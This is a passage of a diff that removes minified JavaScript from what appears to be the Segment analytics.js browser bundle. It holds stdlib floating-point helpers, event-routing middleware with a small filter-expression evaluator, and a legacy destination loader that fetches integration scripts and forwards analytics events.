- * Unless required by applicable law or agreed to in writing, software
825
- * distributed under the License is distributed on an "AS IS" BASIS,
826
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
827
- * See the License for the specific language governing permissions and
828
- * limitations under the License.
829
- */(Pf=new Tf.uint16(1))[0]=4660;var Mf,Lf,jf=52===new Tf.uint8(Pf.buffer)[0];
830
- /**
831
- * @license Apache-2.0
832
- *
833
- * Copyright (c) 2018 The Stdlib Authors.
834
- *
835
- * Licensed under the Apache License, Version 2.0 (the "License");
836
- * you may not use this file except in compliance with the License.
837
- * You may obtain a copy of the License at
838
- *
839
- * http://www.apache.org/licenses/LICENSE-2.0
840
- *
841
- * Unless required by applicable law or agreed to in writing, software
842
- * distributed under the License is distributed on an "AS IS" BASIS,
843
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
844
- * See the License for the specific language governing permissions and
845
- * limitations under the License.
846
- */!0===jf?(Mf=1,Lf=0):(Mf=0,Lf=1);var Uf=of,Df={HIGH:Mf,LOW:Lf},zf=new pf(1),Ff=new Uf(zf.buffer),Bf=Df.HIGH,Hf=Df.LOW;
847
- /**
848
- * @license Apache-2.0
849
- *
850
- * Copyright (c) 2018 The Stdlib Authors.
851
- *
852
- * Licensed under the Apache License, Version 2.0 (the "License");
853
- * you may not use this file except in compliance with the License.
854
- * You may obtain a copy of the License at
855
- *
856
- * http://www.apache.org/licenses/LICENSE-2.0
857
- *
858
- * Unless required by applicable law or agreed to in writing, software
859
- * distributed under the License is distributed on an "AS IS" BASIS,
860
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
861
- * See the License for the specific language governing permissions and
862
- * limitations under the License.
863
- */var qf=function(e,t,n,r){return zf[0]=e,t[r]=Ff[Bf],t[r+n]=Ff[Hf],t},Vf=qf;
864
- /**
865
- * @license Apache-2.0
866
- *
867
- * Copyright (c) 2018 The Stdlib Authors.
868
- *
869
- * Licensed under the Apache License, Version 2.0 (the "License");
870
- * you may not use this file except in compliance with the License.
871
- * You may obtain a copy of the License at
872
- *
873
- * http://www.apache.org/licenses/LICENSE-2.0
874
- *
875
- * Unless required by applicable law or agreed to in writing, software
876
- * distributed under the License is distributed on an "AS IS" BASIS,
877
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
878
- * See the License for the specific language governing permissions and
879
- * limitations under the License.
880
- */var $f=function(e){return Vf(e,[0,0],1,0)},Wf=$f;
881
- /**
882
- * @license Apache-2.0
883
- *
884
- * Copyright (c) 2018 The Stdlib Authors.
885
- *
886
- * Licensed under the Apache License, Version 2.0 (the "License");
887
- * you may not use this file except in compliance with the License.
888
- * You may obtain a copy of the License at
889
- *
890
- * http://www.apache.org/licenses/LICENSE-2.0
891
- *
892
- * Unless required by applicable law or agreed to in writing, software
893
- * distributed under the License is distributed on an "AS IS" BASIS,
894
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
895
- * See the License for the specific language governing permissions and
896
- * limitations under the License.
897
- */Ml(Wf,"assign",qf);var Kf=Wf,Gf=of,Yf=!0===jf?1:0,Qf=new pf(1),Jf=new Gf(Qf.buffer);
898
- /**
899
- * @license Apache-2.0
900
- *
901
- * Copyright (c) 2018 The Stdlib Authors.
902
- *
903
- * Licensed under the Apache License, Version 2.0 (the "License");
904
- * you may not use this file except in compliance with the License.
905
- * You may obtain a copy of the License at
906
- *
907
- * http://www.apache.org/licenses/LICENSE-2.0
908
- *
909
- * Unless required by applicable law or agreed to in writing, software
910
- * distributed under the License is distributed on an "AS IS" BASIS,
911
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
912
- * See the License for the specific language governing permissions and
913
- * limitations under the License.
914
- */var Xf,Zf,eh=function(e){return Qf[0]=e,Jf[Yf]},th=eh;
915
- /**
916
- * @license Apache-2.0
917
- *
918
- * Copyright (c) 2018 The Stdlib Authors.
919
- *
920
- * Licensed under the Apache License, Version 2.0 (the "License");
921
- * you may not use this file except in compliance with the License.
922
- * You may obtain a copy of the License at
923
- *
924
- * http://www.apache.org/licenses/LICENSE-2.0
925
- *
926
- * Unless required by applicable law or agreed to in writing, software
927
- * distributed under the License is distributed on an "AS IS" BASIS,
928
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
929
- * See the License for the specific language governing permissions and
930
- * limitations under the License.
931
- */!0===jf?(Xf=1,Zf=0):(Xf=0,Zf=1);var nh=of,rh={HIGH:Xf,LOW:Zf},ih=new pf(1),oh=new nh(ih.buffer),sh=rh.HIGH,ah=rh.LOW;
932
- /**
933
- * @license Apache-2.0
934
- *
935
- * Copyright (c) 2018 The Stdlib Authors.
936
- *
937
- * Licensed under the Apache License, Version 2.0 (the "License");
938
- * you may not use this file except in compliance with the License.
939
- * You may obtain a copy of the License at
940
- *
941
- * http://www.apache.org/licenses/LICENSE-2.0
942
- *
943
- * Unless required by applicable law or agreed to in writing, software
944
- * distributed under the License is distributed on an "AS IS" BASIS,
945
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
946
- * See the License for the specific language governing permissions and
947
- * limitations under the License.
948
- */var uh=function(e,t){return oh[sh]=e,oh[ah]=t,ih[0]},ch=uh,lh=Kf,fh=th,hh=ch,dh=[0,0];
949
- /**
950
- * @license Apache-2.0
951
- *
952
- * Copyright (c) 2018 The Stdlib Authors.
953
- *
954
- * Licensed under the Apache License, Version 2.0 (the "License");
955
- * you may not use this file except in compliance with the License.
956
- * You may obtain a copy of the License at
957
- *
958
- * http://www.apache.org/licenses/LICENSE-2.0
959
- *
960
- * Unless required by applicable law or agreed to in writing, software
961
- * distributed under the License is distributed on an "AS IS" BASIS,
962
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
963
- * See the License for the specific language governing permissions and
964
- * limitations under the License.
965
- */var ph=function(e,t){var n,r;return lh.assign(e,dh,1,0),n=dh[0],n&=2147483647,r=fh(t),hh(n|=r&=2147483648,dh[1])},gh=ph;
966
- /**
967
- * @license Apache-2.0
968
- *
969
- * Copyright (c) 2018 The Stdlib Authors.
970
- *
971
- * Licensed under the Apache License, Version 2.0 (the "License");
972
- * you may not use this file except in compliance with the License.
973
- * You may obtain a copy of the License at
974
- *
975
- * http://www.apache.org/licenses/LICENSE-2.0
976
- *
977
- * Unless required by applicable law or agreed to in writing, software
978
- * distributed under the License is distributed on an "AS IS" BASIS,
979
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
980
- * See the License for the specific language governing permissions and
981
- * limitations under the License.
982
- */var yh=
983
- /**
984
- * @license Apache-2.0
985
- *
986
- * Copyright (c) 2021 The Stdlib Authors.
987
- *
988
- * Licensed under the Apache License, Version 2.0 (the "License");
989
- * you may not use this file except in compliance with the License.
990
- * You may obtain a copy of the License at
991
- *
992
- * http://www.apache.org/licenses/LICENSE-2.0
993
- *
994
- * Unless required by applicable law or agreed to in writing, software
995
- * distributed under the License is distributed on an "AS IS" BASIS,
996
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
997
- * See the License for the specific language governing permissions and
998
- * limitations under the License.
999
- */
1000
- function(e){return Math.abs(e)},vh=wl,mh=vl,_h=yh;
1001
- /**
1002
- * @license Apache-2.0
1003
- *
1004
- * Copyright (c) 2018 The Stdlib Authors.
1005
- *
1006
- * Licensed under the Apache License, Version 2.0 (the "License");
1007
- * you may not use this file except in compliance with the License.
1008
- * You may obtain a copy of the License at
1009
- *
1010
- * http://www.apache.org/licenses/LICENSE-2.0
1011
- *
1012
- * Unless required by applicable law or agreed to in writing, software
1013
- * distributed under the License is distributed on an "AS IS" BASIS,
1014
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
1015
- * See the License for the specific language governing permissions and
1016
- * limitations under the License.
1017
- */var bh=function(e,t,n,r){return mh(e)||vh(e)?(t[r]=e,t[r+n]=0,t):0!==e&&_h(e)<22250738585072014e-324?(t[r]=4503599627370496*e,t[r+n]=-52,t):(t[r]=e,t[r+n]=0,t)},wh=bh;
1018
- /**
1019
- * @license Apache-2.0
1020
- *
1021
- * Copyright (c) 2018 The Stdlib Authors.
1022
- *
1023
- * Licensed under the Apache License, Version 2.0 (the "License");
1024
- * you may not use this file except in compliance with the License.
1025
- * You may obtain a copy of the License at
1026
- *
1027
- * http://www.apache.org/licenses/LICENSE-2.0
1028
- *
1029
- * Unless required by applicable law or agreed to in writing, software
1030
- * distributed under the License is distributed on an "AS IS" BASIS,
1031
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
1032
- * See the License for the specific language governing permissions and
1033
- * limitations under the License.
1034
- */var Eh=function(e){return wh(e,[0,0],1,0)},Sh=Eh;
1035
- /**
1036
- * @license Apache-2.0
1037
- *
1038
- * Copyright (c) 2018 The Stdlib Authors.
1039
- *
1040
- * Licensed under the Apache License, Version 2.0 (the "License");
1041
- * you may not use this file except in compliance with the License.
1042
- * You may obtain a copy of the License at
1043
- *
1044
- * http://www.apache.org/licenses/LICENSE-2.0
1045
- *
1046
- * Unless required by applicable law or agreed to in writing, software
1047
- * distributed under the License is distributed on an "AS IS" BASIS,
1048
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
1049
- * See the License for the specific language governing permissions and
1050
- * limitations under the License.
1051
- */Ml(Sh,"assign",bh);var Oh=th;
1052
- /**
1053
- * @license Apache-2.0
1054
- *
1055
- * Copyright (c) 2018 The Stdlib Authors.
1056
- *
1057
- * Licensed under the Apache License, Version 2.0 (the "License");
1058
- * you may not use this file except in compliance with the License.
1059
- * You may obtain a copy of the License at
1060
- *
1061
- * http://www.apache.org/licenses/LICENSE-2.0
1062
- *
1063
- * Unless required by applicable law or agreed to in writing, software
1064
- * distributed under the License is distributed on an "AS IS" BASIS,
1065
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
1066
- * See the License for the specific language governing permissions and
1067
- * limitations under the License.
1068
- */var xh=function(e){var t=Oh(e);return(t=(2146435072&t)>>>20)-1023|0},Ih=pl,Rh=gl,kh=vl,Ch=wl,Ph=gh,Ah=Sh,Nh=xh,Th=Kf,Mh=ch,Lh=[0,0],jh=[0,0];
1069
- /**
1070
- * @license Apache-2.0
1071
- *
1072
- * Copyright (c) 2018 The Stdlib Authors.
1073
- *
1074
- * Licensed under the Apache License, Version 2.0 (the "License");
1075
- * you may not use this file except in compliance with the License.
1076
- * You may obtain a copy of the License at
1077
- *
1078
- * http://www.apache.org/licenses/LICENSE-2.0
1079
- *
1080
- * Unless required by applicable law or agreed to in writing, software
1081
- * distributed under the License is distributed on an "AS IS" BASIS,
1082
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
1083
- * See the License for the specific language governing permissions and
1084
- * limitations under the License.
1085
- */var Uh=function(e,t){var n,r;return 0===e||kh(e)||Ch(e)?e:(Ah(Lh),t+=Lh[1],(t+=Nh(e=Lh[0]))<-1074?Ph(0,e):t>1023?e<0?Rh:Ih:(t<=-1023?(t+=52,r=2220446049250313e-31):r=1,Th(jh),n=jh[0],n&=2148532223,r*Mh(n|=t+1023<<20,jh[1])))},Dh=Uh,zh={};
1086
- /**
1087
- * @license Apache-2.0
1088
- *
1089
- * Copyright (c) 2018 The Stdlib Authors.
1090
- *
1091
- * Licensed under the Apache License, Version 2.0 (the "License");
1092
- * you may not use this file except in compliance with the License.
1093
- * You may obtain a copy of the License at
1094
- *
1095
- * http://www.apache.org/licenses/LICENSE-2.0
1096
- *
1097
- * Unless required by applicable law or agreed to in writing, software
1098
- * distributed under the License is distributed on an "AS IS" BASIS,
1099
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
1100
- * See the License for the specific language governing permissions and
1101
- * limitations under the License.
1102
- */zh.dset=function(e,t,n){t.split&&(t=t.split("."));for(var r,i,o=0,s=t.length,a=e;o<s&&"__proto__"!==(i=t[o++])&&"constructor"!==i&&"prototype"!==i;)a=a[i]=o===s?n:typeof(r=a[i])==typeof t?r:0*t[o]!=0||~(""+t[o]).indexOf(".")?{}:[]};var Fh={},Bh=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(Fh,"__esModule",{value:!0}),Fh.unset=void 0;var Hh=Bh(dl.exports);Fh.unset=function(e,t){if((0,Hh.default)(e,t)){for(var n=t.split("."),r=n.pop();n.length&&"\\"===n[n.length-1].slice(-1);)r=n.pop().slice(0,-1)+"."+r;for(;n.length;)e=e[t=n.shift()];return delete e[r]}return!0};var qh=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(ul,"__esModule",{value:!0});var Vh=qh(hl),$h=qh(dl.exports),Wh=qh(Dh),Kh=zh,Gh=Fh;function Yh(e,t){Jh(e,t.drop,(function(e,t){t.forEach((function(t){return delete e[t]}))}))}function Qh(e,t){Jh(e,t.allow,(function(e,t){Object.keys(e).forEach((function(n){t.includes(n)||delete e[n]}))}))}function Jh(e,t,n){Object.entries(t).forEach((function(t){var r=t[0],i=t[1],o=function(e){"object"==typeof e&&null!==e&&n(e,i)},s=""===r?e:(0,$h.default)(e,r);Array.isArray(s)?s.forEach(o):o(s)}))}function Xh(e,t){var n=JSON.parse(JSON.stringify(e));for(var r in t.map)if(t.map.hasOwnProperty(r)){var i=t.map[r],o=r.split("."),s=void 0;if(o.length>1?(o.pop(),s=(0,$h.default)(n,o.join("."))):s=e,"object"==typeof s){if(i.copy){var a=(0,$h.default)(n,i.copy);void 0!==a&&(0,Kh.dset)(e,r,a)}else if(i.move){var u=(0,$h.default)(n,i.move);void 0!==u&&(0,Kh.dset)(e,r,u),(0,Gh.unset)(e,i.move)}else i.hasOwnProperty("set")&&(0,Kh.dset)(e,r,i.set);if(i.to_string){var c=(0,$h.default)(e,r);if("string"==typeof c||"object"==typeof c&&null!==c)continue;void 0!==c?(0,Kh.dset)(e,r,JSON.stringify(c)):(0,Kh.dset)(e,r,"undefined")}}}}function Zh(e,t){return!(t.sample.percent<=0)&&(t.sample.percent>=1||(t.sample.path?function(e,t){var n=(0,$h.default)(e,t.sample.path),r=(0,Vh.default)(JSON.stringify(n)),i=-64,o=[];ed(r.slice(0,8),o);for(var s=0,a=0;a<64&&1!==o[a];a++)s++;if(0!==s){var u=[];ed(r.slice(9,16),u),i-=s,o.splice(0,s),u.splice(64-s),o=o.concat(u)}return o[63]=0===o[63]?1:0,(0,Wh.default)(parseInt(o.join(""),2),i)<t.sample.percent}(e,t):(n=t.sample.percent,Math.random()<=n)));var n}function ed(e,t){for(var n=0;n<8;n++)for(var r=e[n],i=128;i>=1;i/=2)r-i>=0?(r-=i,t.push(1)):t.push(0)}ul.default=function(e,t){for(var n=e,r=0,i=t;r<i.length;r++){var o=i[r];switch(o.type){case"drop":return null;case"drop_properties":Yh(n,o.config);break;case"allow_properties":Qh(n,o.config);break;case"sample_event":if(Zh(n,o.config))break;return null;case"map_properties":Xh(n,o.config);break;case"hash_properties":break;default:throw new Error('Transformer of type "'.concat(o.type,'" is unsupported.'))}}return n};var td={},nd=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(td,"__esModule",{value:!0});var rd=nd(dl.exports);function id(e,t){if(!Array.isArray(e))return!0===od(e,t);var n=e[0];switch(n){case"!":return!id(e[1],t);case"or":for(var r=1;r<e.length;r++)if(id(e[r],t))return!0;return!1;case"and":for(r=1;r<e.length;r++)if(!id(e[r],t))return!1;return!0;case"=":case"!=":return function(e,t,n,r){sd(e)&&(e=id(e,r));sd(t)&&(t=id(t,r));"object"==typeof e&&"object"==typeof t&&(e=JSON.stringify(e),t=JSON.stringify(t));switch(n){case"=":return e===t;case"!=":return e!==t;default:throw new Error("Invalid operator in compareItems: ".concat(n))}}(od(e[1],t),od(e[2],t),n,t);case"<=":case"<":case">":case">=":return function(e,t,n,r){sd(e)&&(e=id(e,r));sd(t)&&(t=id(t,r));if("number"!=typeof e||"number"!=typeof t)return!1;switch(n){case"<=":return e<=t;case">=":return e>=t;case"<":return e<t;case">":return e>t;default:throw new Error("Invalid operator in compareNumbers: ".concat(n))}}(od(e[1],t),od(e[2],t),n,t);case"in":return function(e,t,n){return void 0!==t.find((function(t){return od(t,n)===e}))}(od(e[1],t),od(e[2],t),t);case"contains":return function(e,t){if("string"!=typeof e||"string"!=typeof t)return!1;return-1!==e.indexOf(t)}(od(e[1],t),od(e[2],t));case"match":return function(e,t){if("string"!=typeof e||"string"!=typeof t)return!1;return function(e,t){var n,r;e:for(;e.length>0;){var i=void 0,o=void 0;if(i=(n=ad(e)).star,o=n.chunk,e=n.pattern,i&&""===o)return!0;var s=ud(o,t),a=s.t,u=s.ok,c=s.err;if(c)return!1;if(!u||!(0===a.length||e.length>0)){if(i)for(var l=0;l<t.length;l++){if(a=(r=ud(o,t.slice(l+1))).t,u=r.ok,c=r.err,u){if(0===e.length&&a.length>0)continue;t=a;continue e}if(c)return!1}return!1}t=a}return 0===t.length}(t,e)}(od(e[1],t),od(e[2],t));case"lowercase":var i=od(e[1],t);return"string"!=typeof i?null:i.toLowerCase();case"typeof":return typeof od(e[1],t);case"length":return function(e){if(null===e)return 0;if(!Array.isArray(e)&&"string"!=typeof e)return NaN;return e.length}(od(e[1],t));default:throw new Error("FQL IR could not evaluate for token: ".concat(n))}}function od(e,t){return Array.isArray(e)?e:"object"==typeof e?e.value:(0,rd.default)(t,e)}function sd(e){return!!Array.isArray(e)&&(("lowercase"===e[0]||"length"===e[0]||"typeof"===e[0])&&2===e.length||("contains"===e[0]||"match"===e[0])&&3===e.length)}function ad(e){for(var t={star:!1,chunk:"",pattern:""};e.length>0&&"*"===e[0];)e=e.slice(1),t.star=!0;var n,r=!1;e:for(n=0;n<e.length;n++)switch(e[n]){case"\\":n+1<e.length&&n++;break;case"[":r=!0;break;case"]":r=!1;break;case"*":if(!r)break e}return t.chunk=e.slice(0,n),t.pattern=e.slice(n),t}function ud(e,t){for(var n,r,i={t:"",ok:!1,err:!1};e.length>0;){if(0===t.length)return i;switch(e[0]){case"[":var o=t[0];t=t.slice(1);var s=!0;(e=e.slice(1)).length>0&&"^"===e[0]&&(s=!1,e=e.slice(1));for(var a=!1,u=0;;){if(e.length>0&&"]"===e[0]&&u>0){e=e.slice(1);break}var c,l="";if(c=(n=cd(e)).char,e=n.newChunk,n.err)return i;if(l=c,"-"===e[0]&&(l=(r=cd(e.slice(1))).char,e=r.newChunk,r.err))return i;c<=o&&o<=l&&(a=!0),u++}if(a!==s)return i;break;case"?":t=t.slice(1),e=e.slice(1);break;case"\\":if(0===(e=e.slice(1)).length)return i.err=!0,i;default:if(e[0]!==t[0])return i;t=t.slice(1),e=e.slice(1)}}return i.t=t,i.ok=!0,i.err=!1,i}function cd(e){var t={char:"",newChunk:"",err:!1};return 0===e.length||"-"===e[0]||"]"===e[0]||"\\"===e[0]&&0===(e=e.slice(1)).length?(t.err=!0,t):(t.char=e[0],t.newChunk=e.slice(1),0===t.newChunk.length&&(t.err=!0),t)}td.default=function(e,t){if(!t)throw new Error("No matcher supplied!");switch(t.type){case"all":return!0;case"fql":return function(e,t){if(!e)return!1;try{e=JSON.parse(e)}catch(t){throw new Error('Failed to JSON.parse FQL intermediate representation "'.concat(e,'": ').concat(t))}var n=id(e,t);if("boolean"!=typeof n)return!1;return n}(t.ir,e);default:throw new Error("Matcher of type ".concat(t.type," unsupported."))}};var ld={};Object.defineProperty(ld,"__esModule",{value:!0});var fd=function(){function e(e){this.rules=[],this.rules=e||[]}return e.prototype.getRulesByDestinationName=function(e){for(var t=[],n=0,r=this.rules;n<r.length;n++){var i=r[n];i.destinationName!==e&&void 0!==i.destinationName||t.push(i)}return t},e}();ld.default=fd,function(e){var t=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(e,"__esModule",{value:!0}),e.Store=e.matches=e.transform=void 0;var n=ul;Object.defineProperty(e,"transform",{enumerable:!0,get:function(){return t(n).default}});var r=td;Object.defineProperty(e,"matches",{enumerable:!0,get:function(){return t(r).default}});var i=ld;Object.defineProperty(e,"Store",{enumerable:!0,get:function(){return t(i).default}})}(al);var hd=Object.freeze({__proto__:null,tsubMiddleware:function(e){return function(t){var n=t.payload,r=t.integration,i=t.next;new al.Store(e).getRulesByDestinationName(r).forEach((function(e){for(var t=e.matchers,r=e.transformers,o=0;o<t.length;o++)if(al.matches(n.obj,t[o])&&(n.obj=al.transform(n.obj,r[o]),null===n.obj))return i(null)})),i(n)}}});function dd(e,t){var n,r;return"boolean"==typeof(null==t?void 0:t.enabled)?t.enabled:null===(r=null===(n=null==e?void 0:e.__default)||void 0===n?void 0:n.enabled)||void 0===r||r}function pd(e){return e.toLowerCase().replace(".","").replace(/\s+/g,"-")}function gd(e,t){return void 0===t&&(t=!1),t?btoa(e).replace(/=/g,""):void 0}function yd(e,t,n,r){return mt(this,void 0,void 0,(function(){var i,o,s,a,u,c;return _t(this,(function(l){switch(l.label){case 0:i=pd(t),o=gd(i,r),s=or(),a="".concat(s,"/integrations/").concat(null!=o?o:i,"/").concat(n,"/").concat(null!=o?o:i,".dynamic.js.gz"),l.label=1;case 1:return l.trys.push([1,3,,4]),[4,dr(a)];case 2:return l.sent(),function(e,t,n){var r,i;try{var o=(null!==(i=null===(r=null===window||void 0===window?void 0:window.performance)||void 0===r?void 0:r.getEntriesByName(e,"resource"))&&void 0!==i?i:[])[0];o&&t.stats.gauge("legacy_destination_time",Math.round(o.duration),bt([n],o.duration<100?["cached"]:[],!0))}catch(e){}}(a,e,t),[3,4];case 3:throw u=l.sent(),e.stats.gauge("legacy_destination_time",-1,["plugin:".concat(t),"failed"]),u;case 4:return c=window["".concat(i,"Deps")],[4,Promise.all(c.map((function(e){return dr(s+e+".gz")})))];case 5:return l.sent(),window["".concat(i,"Loader")](),[2,window["".concat(i,"Integration")]]}}))}))}function vd(e,t){return mt(this,void 0,void 0,(function(){var n,r=this;return _t(this,(function(i){switch(i.label){case 0:return n=[],cn()?[2,t]:[4,io((function(){return t.length>0&&un()}),(function(){return mt(r,void 0,void 0,(function(){var r,i;return _t(this,(function(o){switch(o.label){case 0:return(r=t.pop())?[4,Jt(r,e)]:[2];case 1:return i=o.sent(),i instanceof zn||n.push(r),[2]}}))}))}))];case 1:return i.sent(),n.map((function(e){return t.pushWithBackoff(e)})),[2,t]}}))}))}var md=function(){function e(e,t,n,r,i,o){void 0===r&&(r={}),this.options={},this.type="destination",this.middleware=[],this._ready=!1,this._initialized=!1,this.flushing=!1,this.name=e,this.version=t,this.settings=vt({},r),this.disableAutoISOConversion=i.disableAutoISOConversion||!1,this.integrationSource=o,this.settings.type&&"browser"===this.settings.type&&delete this.settings.type,this.options=i,this.buffer=i.disableClientPersistence?new Ht(4,[]):new Gn(4,"".concat(n,":dest-").concat(e)),this.scheduleFlush()}return e.prototype.isLoaded=function(){return this._ready},e.prototype.ready=function(){var e;return null!==(e=this.onReady)&&void 0!==e?e:Promise.resolve()},e.prototype.load=function(e,t){var n;return mt(this,void 0,void 0,(function(){var r,i,o=this;return _t(this,(function(s){switch(s.label){case 0:return this._ready||void 0!==this.onReady?[2]:null===(n=this.integrationSource)||void 0===n?[3,1]:(i=n,[3,3]);case 1:return[4,yd(e,this.name,this.version,this.options.obfuscate)];case 2:i=s.sent(),s.label=3;case 3:r=i,this.integration=function(e,t,n){var r;"Integration"in e?(e({user:function(){return n.user()},addIntegration:function(){}}),r=e.Integration):r=e;var i=new r(t);return i.analytics=n,i}(r,this.settings,t),this.onReady=new Promise((function(e){o.integration.once("ready",(function(){o._ready=!0,e(!0)}))})),this.onInitialize=new Promise((function(e){o.integration.on("initialize",(function(){o._initialized=!0,e(!0)}))}));try{e.stats.increment("analytics_js.integration.invoke",1,["method:initialize","integration_name:".concat(this.name)]),this.integration.initialize()}catch(t){throw e.stats.increment("analytics_js.integration.invoke.error",1,["method:initialize","integration_name:".concat(this.name)]),t}return[2]}}))}))},e.prototype.unload=function(e,t){return function(e,t,n){return mt(this,void 0,void 0,(function(){var r,i,o;return _t(this,(function(s){return r=or(),i=pd(e),o=gd(e,n),[2,pr("".concat(r,"/integrations/").concat(null!=o?o:i,"/").concat(t,"/").concat(null!=o?o:i,".dynamic.js.gz"))]}))}))}(this.name,this.version,this.options.obfuscate)},e.prototype.addMiddleware=function(){for(var e,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];this.middleware=(e=this.middleware).concat.apply(e,t)},e.prototype.shouldBuffer=function(e){return"page"!==e.event.type&&(cn()||!1===this._ready||!1===this._initialized)},e.prototype.send=function(e,t,n){var r,i;return mt(this,void 0,void 0,(function(){var o,s,a,u,c,l;return _t(this,(function(f){switch(f.label){case 0:if(this.shouldBuffer(e))return this.buffer.push(e),this.scheduleFlush(),[2,e];if(o=null===(i=null===(r=this.options)||void 0===r?void 0:r.plan)||void 0===i?void 0:i.track,s=e.event.event,o&&s&&"Segment.io"!==this.name){if(a=o[s],!dd(o,a))return e.updateEvent("integrations",vt(vt({},e.event.integrations),{All:!1,"Segment.io":!0})),e.cancel(new Yt({retry:!1,reason:"Event ".concat(s," disabled for integration ").concat(this.name," in tracking plan"),type:"Dropped by plan"})),[2,e];if(e.updateEvent("integrations",vt(vt({},e.event.integrations),null==a?void 0:a.integrations)),(null==a?void 0:a.enabled)&&!1===(null==a?void 0:a.integrations[this.name]))return e.cancel(new Yt({retry:!1,reason:"Event ".concat(s," disabled for integration ").concat(this.name," in tracking plan"),type:"Dropped by plan"})),[2,e]}return[4,Qi(this.name,e.event,this.middleware)];case 1:if(null===(u=f.sent()))return[2,e];c=new t(u,{traverse:!this.disableAutoISOConversion}),e.stats.increment("analytics_js.integration.invoke",1,["method:".concat(n),"integration_name:".concat(this.name)]),f.label=2;case 2:return f.trys.push([2,5,,6]),this.integration?[4,this.integration.invoke.call(this.integration,n,c)]:[3,4];case 3:f.sent(),f.label=4;case 4:return[3,6];case 5:throw l=f.sent(),e.stats.increment("analytics_js.integration.invoke.error",1,["method:".concat(n),"integration_name:".concat(this.name)]),l;case 6:return[2,e]}}))}))},e.prototype.track=function(e){return mt(this,void 0,void 0,(function(){return _t(this,(function(t){return[2,this.send(e,gr.Track,"track")]}))}))},e.prototype.page=function(e){var t;return mt(this,void 0,void 0,(function(){var n=this;return _t(this,(function(r){return(null===(t=this.integration)||void 0===t?void 0:t._assumesPageview)&&!this._initialized&&this.integration.initialize(),[2,this.onInitialize.then((function(){return n.send(e,gr.Page,"page")}))]}))}))},e.prototype.identify=function(e){return mt(this,void 0,void 0,(function(){return _t(this,(function(t){return[2,this.send(e,gr.Identify,"identify")]}))}))},e.prototype.alias=function(e){return mt(this,void 0,void 0,(function(){return _t(this,(function(t){return[2,this.send(e,gr.Alias,"alias")]}))}))},e.prototype.group=function(e){return mt(this,void 0,void 0,(function(){return _t(this,(function(t){return[2,this.send(e,gr.Group,"group")]}))}))},e.prototype.scheduleFlush=function(){var e=this;this.flushing||setTimeout((function(){return mt(e,void 0,void 0,(function(){var e;return _t(this,(function(t){switch(t.label){case 0:return this.flushing=!0,e=this,[4,vd(this,this.buffer)];case 1:return e.buffer=t.sent(),this.flushing=!1,this.buffer.todo>0&&this.scheduleFlush(),[2]}}))}))}),5e3*Math.random())},e}();var _d=Object.freeze({__proto__:null,LegacyDestination:md,ajsDestinations:function(e,t,n,r,i,o){var s,a;if(void 0===n&&(n={}),void 0===r&&(r={}),an())return[];t.plan&&((r=null!=r?r:{}).plan=t.plan);var u=null!==(a=null===(s=t.middlewareSettings)||void 0===s?void 0:s.routingRules)&&void 0!==a?a:[],c=t.integrations,l=r.integrations,f=sr(t,null!=r?r:{}),h=null==o?void 0:o.reduce((function(e,t){var n;return vt(vt({},e),((n={})[function(e){return("Integration"in e?e.Integration:e).prototype.name}(t)]=t,n))}),{}),d=new Set(bt(bt([],Object.keys(c).filter((function(e){return function(e,t){var n,r=t.type,i=t.bundlingStatus,o=t.versionSettings,s="unbundled"!==i&&("browser"===r||(null===(n=null==o?void 0:o.componentTypes)||void 0===n?void 0:n.includes("browser")));return!e.startsWith("Segment")&&"Iterable"!==e&&s}(e,c[e])})),!0),Object.keys(h||{}).filter((function(e){return Mt(c[e])||Mt(null==l?void 0:l[e])})),!0));return Array.from(d).filter((function(e){return!function(e,t){var n=!1===t.All&&void 0===t[e];return!1===t[e]||n}(e,n)})).map((function(t){var n=function(e){var t,n,r,i;return null!==(i=null!==(n=null===(t=null==e?void 0:e.versionSettings)||void 0===t?void 0:t.override)&&void 0!==n?n:null===(r=null==e?void 0:e.versionSettings)||void 0===r?void 0:r.version)&&void 0!==i?i:"latest"}(c[t]),o=new md(t,n,e,f[t],r,null==h?void 0:h[t]);return u.filter((function(e){return e.destinationName===t})).length>0&&i&&o.addMiddleware(i),o}))}});var bd=Object.freeze({__proto__:null,loadLegacyVideoPlugins:function(e){return mt(this,void 0,void 0,(function(){var t;return _t(this,(function(n){switch(n.label){case 0:return[4,Promise.resolve().then((function(){return Od}))];case 1:return t=n.sent(),e._plugins=t,[2]}}))}))}});var wd=Object.freeze({__proto__:null,schemaFilter:function(e,t){function n(n){var r=e,i=n.event.event;if(r&&i){var o=r[i];if(!dd(r,o))return n.updateEvent("integrations",vt(vt({},n.event.integrations),{All:!1,"Segment.io":!0})),n;var s=function(e,t){var n,r;if(!e||!Object.keys(e))return{};var i=e.integrations?Object.keys(e.integrations).filter((function(t){return!1===e.integrations[t]})):[],o=[];return(null!==(n=t.remotePlugins)&&void 0!==n?n:[]).forEach((function(e){i.forEach((function(t){(e.name.includes(t)||t.includes(e.name))&&o.push(e.name)}))})),(null!==(r=t.remotePlugins)&&void 